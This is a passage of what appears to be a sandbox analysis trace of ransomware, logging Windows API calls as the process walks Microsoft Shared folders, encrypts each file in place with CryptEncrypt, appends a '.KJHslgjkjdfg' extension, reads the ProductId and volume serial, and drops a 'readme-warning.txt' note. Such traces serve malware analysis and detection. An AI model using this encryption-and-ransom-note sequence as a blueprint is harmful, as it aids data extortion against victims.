lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.702] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.702] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.702] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.702] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.703] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.703] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.703] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.703] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x100000, lpOverlapped=0x0) returned 1 [0189.736] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x100000, dwBufLen=0x100000 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x100000) returned 1 [0189.748] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.748] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x100000, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x100000, lpOverlapped=0x0) returned 1 [0189.752] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x166c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.752] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.753] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.753] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x66bae, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x66bae, lpOverlapped=0x0) returned 1 [0189.765] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x66bb0, dwBufLen=0x66bb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x66bb0) returned 1 [0189.770] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x100000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.770] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x66bb0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x66bb0, lpOverlapped=0x0) returned 1 [0189.772] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.772] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x166c84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.772] SetEndOfFile (hFile=0x12c) returned 1 [0189.775] GetProcessHeap () returned 0x2ef0000 [0189.775] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.776] GetProcessHeap () returned 0x2ef0000 [0189.776] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.776] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\MSB1FRAR.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\msb1frar.its.kjhslgjkjdfg")) returned 1 [0189.777] CloseHandle (hObject=0x12c) returned 1 [0189.777] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21282c00, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x7588f30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21282c00, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0x166bae, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FRAR.ITS", cAlternateFileName="")) returned 0 [0189.777] GetProcessHeap () returned 0x2ef0000 [0189.777] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.777] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.777] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c898, pdwDataLen=0x4dfee20) returned 1 [0189.777] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.777] GetProcessHeap () returned 0x2ef0000 [0189.777] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0189.777] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.777] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dfee20 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dfee20) returned 1 [0189.777] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.777] GetProcessHeap () returned 0x2ef0000 [0189.777] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f14588 [0189.777] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfedb8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.777] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14588, pdwDataLen=0x4dfee20 | out: pbData=0x2f14588, pdwDataLen=0x4dfee20) returned 1 [0189.777] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.778] GetProcessHeap () returned 0x2ef0000 [0189.778] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0189.778] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.778] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfea00 | out: pbData=0x2f0c928, pdwDataLen=0x4dfea00) returned 1 [0189.778] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.778] GetProcessHeap () returned 0x2ef0000 [0189.778] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.778] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe990, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.778] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea00 | out: pbData=0x2f11728, pdwDataLen=0x4dfea00) returned 1 [0189.778] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.778] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfe9fc | out: phkResult=0x4dfe9fc*=0x12c) returned 0x0 [0189.778] RegQueryValueExA (in: hKey=0x12c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfea08, lpcbData=0x4dfea04*=0x400 | out: lpType=0x0, lpData=0x4dfea08*=0x30, lpcbData=0x4dfea04*=0x18) returned 0x0 [0189.778] RegCloseKey (hKey=0x12c) returned 0x0 [0189.778] GetProcessHeap () returned 0x2ef0000 [0189.778] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0189.778] GetProcessHeap () returned 0x2ef0000 [0189.778] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.778] GetProcessHeap () returned 0x2ef0000 [0189.778] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0189.779] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0189.779] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0189.779] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.779] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0189.779] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0189.779] GetProcessHeap () returned 0x2ef0000 [0189.779] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0189.779] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0189.779] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0189.779] GetProcessHeap () returned 0x2ef0000 [0189.779] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f11d10 [0189.779] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\readme-warning.txt") returned 79 [0189.779] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FRAR\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\frar\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.781] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11d10*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f11d10*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0189.938] CloseHandle (hObject=0x12c) returned 1 [0189.938] GetProcessHeap () returned 0x2ef0000 [0189.938] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0189.938] GetProcessHeap () returned 0x2ef0000 [0189.939] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0189.939] GetProcessHeap () returned 0x2ef0000 [0189.939] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0189.939] GetProcessHeap () returned 0x2ef0000 [0189.939] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.939] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0189.939] GetProcessHeap () returned 0x2ef0000 [0189.939] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16e68 | out: hHeap=0x2ef0000) returned 1 [0189.939] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FREN", cAlternateFileName="")) returned 1 [0189.939] GetProcessHeap () returned 0x2ef0000 [0189.939] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8a) returned 0x2f425d0 [0189.939] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0189.943] GetProcessHeap () returned 0x2ef0000 [0189.943] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0189.943] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7516b10, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0189.943] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb22e200, ftCreationTime.dwHighDateTime=0x1c82168, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb22e200, ftLastWriteTime.dwHighDateTime=0x1c82168, nFileSizeHigh=0x0, nFileSizeLow=0x38200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FREN.DLL", cAlternateFileName="")) returned 1 [0189.943] GetProcessHeap () returned 0x2ef0000 [0189.943] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x28c) returned 0x2f16e68 [0189.943] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x238a8600, ftCreationTime.dwHighDateTime=0x1c6e3e3, ftLastAccessTime.dwLowDateTime=0x753cc70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x238a8600, ftLastWriteTime.dwHighDateTime=0x1c6e3e3, nFileSizeHigh=0x0, nFileSizeLow=0xcd2ac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSB1FREN.ITS", cAlternateFileName="")) returned 1 [0189.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.944] GetProcessHeap () returned 0x2ef0000 [0189.944] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.944] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.944] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.944] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.947] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.947] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.947] GetProcessHeap () returned 0x2ef0000 [0189.947] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0189.947] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0189.947] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.947] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0189.947] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.947] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.947] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.947] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.947] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.947] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.947] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.948] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.948] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xcd2ac, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0xcd2ac, lpOverlapped=0x0) returned 1 [0189.965] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xcd2b0, dwBufLen=0xcd2b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0xcd2b0) returned 1 [0189.975] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.975] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xcd2b0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0xcd2b0, lpOverlapped=0x0) returned 1 [0189.978] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.978] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xcd384, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0189.978] SetEndOfFile (hFile=0x12c) returned 1 [0189.981] GetProcessHeap () returned 0x2ef0000 [0189.981] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0189.981] GetProcessHeap () returned 0x2ef0000 [0189.981] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0189.982] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\MSB1FREN.ITS.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\msb1fren.its.kjhslgjkjdfg")) returned 1 [0189.983] CloseHandle (hObject=0x12c) returned 1 [0189.983] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d99e900, ftCreationTime.dwHighDateTime=0x1be6f08, ftLastAccessTime.dwLowDateTime=0x79672f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1d99e900, ftLastWriteTime.dwHighDateTime=0x1be6f08, nFileSizeHigh=0x0, nFileSizeLow=0x96a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WT61FR.LEX", cAlternateFileName="")) returned 1 [0189.983] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\TRANSLAT\\FREN\\WT61FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\translat\\fren\\wt61fr.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0189.984] GetProcessHeap () returned 0x2ef0000 [0189.984] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0189.984] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0189.984] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0189.984] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.984] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.984] GetProcessHeap () returned 0x2ef0000 [0189.984] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0189.984] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0189.985] CryptDestroyKey (hKey=0x2f18308) returned 1 [0189.985] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0189.987] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0189.987] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0189.987] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0189.988] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0189.988] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0189.988] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0189.988] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0189.988] SetFilePointerEx 